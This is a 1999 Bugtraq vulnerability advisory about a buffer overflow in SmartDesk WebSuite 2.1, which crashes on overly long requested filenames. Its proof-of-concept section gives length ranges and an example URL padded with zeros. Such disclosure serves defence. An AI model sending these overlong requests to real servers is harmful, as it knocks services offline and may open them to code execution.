SmartDesk WebSuite Buffer Overflow Vulnerability

BID:278

Info

SmartDesk WebSuite Buffer Overflow Vulnerability

Bugtraq ID: 278
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: May 25 1999 12:00AM
Updated: May 25 1999 12:00AM
Credit: This vulnerability was published in the BUGTRAQ mailing list by cmart <[email protected]>.
Vulnerable: SmartDesk WebSuite 2.1
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Not Vulnerable:

Discussion

SmartDesk WebSuite Buffer Overflow Vulnerability

A buffer overflow vulnerability in SmartDesk WebSuite 2.1 allows malicious remote users to crash the server, and may at worst allow them to execute arbitrary code.

WebSuite 2.1 will crash when the filename requested is overly long. Test showed the filename length that crashed the server varied from 250 to over 2,000 bytes long.

Exploit / POC

SmartDesk WebSuite Buffer Overflow Vulnerability

On Windows 98, append 150 to 1,000+ characters to the URL.

On Windows NT, append 250 to 2,000+ characters to the URL.

example:

http://hostname/00000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Solution / Fix

SmartDesk WebSuite Buffer Overflow Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

SmartDesk WebSuite Buffer Overflow Vulnerability

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